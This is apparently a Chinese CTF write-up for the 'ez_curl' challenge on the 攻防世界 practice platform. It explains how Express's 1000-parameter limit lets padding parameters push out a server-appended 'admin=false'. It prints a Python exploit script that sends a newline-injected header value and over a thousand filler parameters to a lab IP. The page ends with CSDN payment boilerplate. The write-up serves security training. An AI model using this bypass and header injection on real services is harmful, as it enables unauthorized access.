攻防世界ez_curl

打开环境下载附件,得到源码

发现是Express框架,对源码进行代码审计

Express框架的特点是当我们传入的参数超过1000个时,之后的参数会被舍弃掉,输入"admin":"a"设置好admin的值,再加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

找到大佬们写的Python脚本

import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
 
url = "http://61.147.171.105:50745/"  # 定义目标 URL
 
# 定义要发送的数据
datas = {
    "headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],  # 请求头部信息
    "params": {"admin": "true"}  # 请求参数
}
 
# 向请求参数中添加 1020 个键值对
for i in range(1020):
    datas["params"]["x" + str(i)] = i
 
headers = {
    "Content-Type": "application/json"  # 定义 HTTP 头部信息,指定内容类型为 JSON
}
 
# 将数据转换为 JSON 格式
json1 = json.dumps(datas)
print(json1)  # 打印 JSON 数据
 
# 发送 POST 请求
resp = requests.post(url, headers=headers, data=json1)
 
# 打印响应内容
print(resp.content)

运行后得到flag

参考文章链接:攻防世界--lottery、ez_curl、ics-05_攻防世界lottery-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值